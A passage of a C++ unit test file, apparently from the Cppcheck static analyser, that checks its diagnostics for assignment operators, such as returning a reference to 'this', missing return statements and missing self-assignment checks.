'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" 